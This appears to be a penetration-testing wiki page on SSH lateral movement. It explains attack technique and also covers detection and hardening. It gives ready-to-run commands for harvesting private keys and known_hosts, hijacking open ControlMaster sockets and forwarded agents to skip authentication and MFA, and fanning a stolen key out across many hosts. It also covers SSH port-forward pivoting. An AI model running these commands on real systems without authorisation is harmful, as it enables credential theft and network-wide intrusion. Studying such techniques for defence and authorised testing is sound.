SSH exec / fan-out
TL;DR: Reused SSH keys, agent-forwarded sockets, and
ControlMastermultiplexing turn one compromised Linux box into authenticated remote exec on every host that trusts it — the Linux equivalent of pass-the-hash fan-out.
What it is
SSH lateral movement leans on three properties: private keys in ~/.ssh/id_* rarely rotate and are commonly copied across servers; known_hosts reveals which other hosts the user has logged into; and ControlMaster sockets in ~/.ssh/cm-* let you piggy-back on an already-authenticated session without re-prompting for credentials or triggering MFA. Together these are the highest-yield, lowest-noise pivoting primitive on Linux estates. Combine with socks-proxies (ssh -D) for full network pivot.
Preconditions / where it applies
- A shell on a Linux/macOS box (any non-nologin user).
- Readable private keys, an
SSH_AUTH_SOCKfrom a forwarded agent, or an openControlMastersocket. - Network reachability to candidate next-hop targets on 22/tcp (or whatever port
~/.ssh/configspecifies). - Targets that trust the harvested key or share the agent.
Technique
Enumerate the pivot surface:
1
2
3
4
5
ls -la ~/.ssh/ # id_*, config, known_hosts, cm-*
cat ~/.ssh/known_hosts # historic targets (hashed unless HashKnownHosts=no)
ssh-keyscan -t rsa $(awk '{print $1}' ~/.ssh/known_hosts) 2>/dev/null
env | grep SSH_AUTH_SOCK # forwarded agent?
ls /tmp/ssh-* 2>/dev/null # agent sockets from other users
Hijack an existing multiplexed session (no auth, no MFA):
1
ssh -S ~/.ssh/cm-user@host:22 user@host # rides the open master
Hijack a forwarded agent (if you can read another user’s SSH_AUTH_SOCK, typically as root):
1
2
SSH_AUTH_SOCK=/tmp/ssh-XXXX/agent.1234 ssh-add -l
SSH_AUTH_SOCK=/tmp/ssh-XXXX/agent.1234 ssh user@nexthop
Fan-out with pdsh/parallel-ssh/xargs once a key is validated:
1
for h in $(cat hosts); do ssh -o StrictHostKeyChecking=no -i id_rsa "$h" id; done
Watch out for command= restrictions in authorized_keys and ForceCommand in sshd_config — they limit what the key can do.
When pivoting with ssh -R to expose an internal service back through the foothold, remember that the remote bind defaults to 127.0.0.1 on the SSH server side — your attack-box tools won’t reach it unless sshd_config has GatewayPorts yes (or clientspecified) and you bind explicitly with ssh -R 0.0.0.0:5555:internal:445. Most hardened estates leave GatewayPorts no, so prefer -D dynamic forwarding (which only needs an outbound socket on the foothold) for SOCKS-style pivoting and reserve -R for situations where the foothold is dual-homed and the operator box is firewalled off.
Detection and defence
auth.log/journalctl -u sshshowsAccepted publickeyfrom unusual source IPs for the same key fingerprint across many hosts in a short window.- Agent-forwarding abuse leaves no auth event on the source host beyond the original login — hunt via process tree (
sshchildren of unexpected parents) and socket access auditing (auditdon/tmp/ssh-*). - Defences: per-host keys (no copies),
IdentitiesOnly=yes, disable agent forwarding by default,MaxSessions 1to break ControlMaster reuse, enforce hardware-backed keys with PIN, logsshdwithLogLevel VERBOSEto capture key fingerprints.
References
- SSH lateral movement — HackTricks — agent / config abuse.
- The Hacker Recipes — SSH — ControlMaster hijack notes.
- OpenSSH manual — ssh_config — ControlMaster, ForwardAgent, IdentitiesOnly.
- ired.team — SSH tunnelling / port forwarding —
-L/-R/-Dmechanics andGatewayPortsbinding nuance.
See also: ssh-agent-hijack, cve-2024-6387-regresshion-openssh